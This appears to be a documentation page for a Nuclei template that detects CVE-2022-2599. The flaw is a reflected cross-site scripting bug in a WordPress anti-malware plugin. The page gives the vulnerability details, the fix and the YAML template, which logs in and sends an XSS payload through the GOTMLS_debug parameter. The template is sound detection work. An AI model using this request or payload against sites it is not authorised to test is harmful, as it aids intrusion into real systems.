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WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting

ID: CVE-2022-2599

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,wordpress,wp-plugin,xss,gotmls,authenticated,wpscan,anti-malware_security_and_brute-force_firewall_project

Description

Section titled “Description”

WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2599


info:
  name: WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the targeted WordPress site, potentially leading to unauthorized access, data theft, or further attacks.
  remediation: |
    Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/276a7fc5-3d0d-446d-92cf-20060aecd0ef
    - https://wordpress.org/plugins/gotmls/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2599
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2599
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:anti-malware_security_and_brute-force_firewall_project:anti-malware_security_and_brute-force_firewall:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: anti-malware_security_and_brute-force_firewall_project
    product: anti-malware_security_and_brute-force_firewall
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,xss,gotmls,authenticated,wpscan,anti-malware_security_and_brute-force_firewall_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "GOTMLS_mt"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2599.yaml"

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